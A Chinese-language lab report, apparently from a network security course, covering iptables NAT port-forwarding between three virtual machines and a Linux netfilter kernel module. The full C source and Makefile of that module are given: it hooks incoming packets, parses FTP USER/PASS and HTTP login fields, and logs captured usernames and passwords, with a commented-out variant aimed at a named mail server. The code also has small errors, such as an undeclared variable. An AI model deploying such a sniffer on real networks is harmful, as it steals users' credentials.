一.iptabes
1.实验目的
- 有3台虚拟机,ip地址分别为192.168.200.130,192.168.200.132,192.168.200.134,分别作为内部主机,NAT主机和外部主机
- 仅允许外部主机通过指定的端口号访问FTP或者Netcat服务,不允许访问其它任何服务
- 允许内部主机访问外部主机的任何服务
- 本次实验主机的版本为
2.实验内容
设置NAT主机192.168.200.132中的防火墙如下:
通过ftp指令向192.168.200.132的2577端口发出请求,可以连接到192.168.200.130的ftp服务
在192.168.200.130开启netcat的1234端口的服务
可以看到通过192.168.200.132的52577端口成功访问到了192.168.200.130的1234端口
但是访问内部主机的其他服务,如ping
对于内部主机,可以访问外部主机的任何服务:
ftp:
netcat:
ping:
检查wireshark有:
二.netfilter
1.实验目的
- 通过netfilter的钩子函数,在主机在传输层获取HTTP和FTP的数据包,通过wireshark抓包分析其结构,最后获取指定的数据(登录的账号和密码)。
- 此实验的实验版本为:
注:若使用高版本的linux内核,需要修改hook_func的参数以及注册,注销函数(nf_register_hook, nf_register_net_hook)。注册注销函数需要添加一个新参数struct net *net,可以填入&init_net
2.实验代码
lab2_nf.c:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
static struct nf_hook_ops nfho;
static struct sk_buff *skbuff;
const char *myzoo = "127.0.0.1"; // 16777343,其是127.0.0.1转换成网络字节序后对应的整数
unsigned int hook_func(const struct nf_hook_ops *ops, struct sk_buff *skb, const struct nf_hook_state *state){
skbuff = skb;
char *data = NULL;
char username[4]; //用于存储账号
char password[4]; //用于存储密码
int tcp_payload;
if(skbuff == 0){
printk("Skbuff is empty!\n");
return NF_ACCEPT;
}
struct tcphdr *tcph;
struct iphdr *iph;
iph = ip_hdr(skbuff); //有内置函数获取报文的ip首部和tcp首部
tcph = tcp_hdr(skbuff);
if(iph->protocol != htons(IPPROTO_TCP)){
//printk("This is not a TCP!\n");
}
if(tcph->dest != htons(80)){
//printk("This is not a HTTP!\n");
}
if(tcph->dest == htons(80)){
printk("**************************\n");
printk("This attack is for http!\n");
//ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
tcp_payload = ntohs(iph->tot_len) - (iph->ihl<<2) - (tcph->doff<<2);
if(iph->daddr == 16777343){
printk("Target is myzoo.com!\n");
data = (char *)((unsigned long)tcph + (unsigned long)(tcph->doff * 4));
if(strstr(data, ".exe") != NULL){ //检查报文的数据部分,检查是否有.exe文件,若有则丢弃
printk(".exe files will be droped!\n ");
return NF_DROP;
}
//通过wireshark抓包分析可知,tcp数据长度(tcp payload)为543
//又可以看到超文本传输协议(Hypertext Transfer Protocol)中的长度为57,因此实际数据开始位置为543-57
content_length = 57;
data += (tcp_payload - content_length);
//找到http数据部分是否有"login_username",若有,则之后的数据即为账号
if(!strncmp(data, "login_username", 14)){
printk("The target data is:%s\n", data);
data += 15;
strncpy(username, data, 3);
username[3] = '\0';
data += 19; // 检查结构知道,向后推19个字节即为密码的位置
strncpy(password, data, 3);
password[3] = '\0';
printk("Username is %s\n", username);
printk("Passwd is %s\n", password);
}
else printk("This is not target data!\n");
printk("**************************\n\n");
}
/*if(iph->daddr == 138421962){
printk("Target is ustc.mail!\n");
data = (char *)((unsigned long)tcph + (unsigned long)(tcph->doff * 4));
data += (689 - 83);
if(!strncmp(data, "locale", 6)){
printk("The target data is:%s\n", data);
data += 17;
strncpy(username, data, 3);
username[3] = '\0';
data += 47;
strncpy(password, data, 3);
password[3] = '\0';
printk("Username is %s\n", username); // name + "login_passwd"
printk("Passwd is %s\n", password);
}
else printk("This is not target data!\n");
printk("**************************\n\n");
}*/
}
if(tcph->dest == htons(21)){ //检查是否为ftp报文
printk("**************************\n");
printk("This attack is for ftp!\n");
if(iph->daddr == 16777343){
printk("Target is localhost!\n");
data = (char *)((unsigned long)tcph + (unsigned long)(tcph->doff * 4));
if(!strncmp(data, "USER", 4)){ //ftp报文数据规整,账号和密码分两次发送
data += 5;
printk("The target username is:%s\n", data);
}
else if(!strncmp(data, "PASS", 4)){
data += 5;
printk("The target password is:%s\n", data);
}
else printk("This is not target data!\n");
printk("**************************\n\n");
}
}
return NF_ACCEPT;
}
int init_module(){
nfho.hook = hook_func; // 对netfilter选择指定的钩子函数
nfho.hooknum = NF_INET_PRE_ROUTING; //选择在PREROUTING钩子点对数据进行处理
nfho.pf = PF_INET; //选择TCP/IIP协议族
nfho.priority = NF_IP_PRI_FIRST; //优先级设置为最高
nf_register_hook(&nfho);
return 0;
}
void cleanup_module(void){
nf_unregister_hook(&nfho);
}
Makefile:
obj-m += lab2_nf.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
3.实验内容
使用make指令编译内核模块后后加载模块
查看内核已经加载完毕
登录本地ftp服务,账号为abc,密码为123
由dmesg查看内核日志,可以查看打印出的账号和密码
登录www.myzoo.com网站
输入帐号为aaa,密码为123,登录后查看内核如下:
成功获得了登录的帐号和密码